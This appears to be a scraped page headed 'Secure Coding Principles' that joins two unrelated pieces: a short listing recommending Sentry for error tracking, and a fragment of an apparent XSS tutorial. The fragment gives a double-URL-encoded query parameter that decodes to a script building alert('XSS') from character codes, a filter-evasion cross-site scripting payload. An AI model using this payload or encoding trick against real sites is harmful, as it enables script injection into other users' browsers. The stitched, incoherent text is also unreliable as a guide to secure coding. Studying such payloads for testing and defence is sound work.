Secure Coding Principles

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Sentry.io

Ideally, we should not only log unknown errors, but also use a centralized Error Tracker like Sentry. This will allow us to react in time, especially if the unexpected error is critical:.

#Error Tracking #Exception Monitoring #Monitoring Tools 67 social mentions

Now let's encode it two times and pass the parameters: Http://example.com/?param=%253Cscript%253Elet%2520a%2520%253D%2520String.fromCharCode%253B%250Alet%2520script%2520%253D%2520a%252860%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Alet%2520code%2520%253D%2520a%252897%2529%2520%252B%2520a%2528108%2529%2520%252B%2520a%2528101%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252840%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252888%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252841%2529%253B%250Alet%2520end%2520%253D%2520a%252860%2529%2520%252B%2520a%252847%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Adocument.write%2528script%2520%252B%2520code%2520%252B%2520end%2529%253B%250A%253C%252Fscript%253E.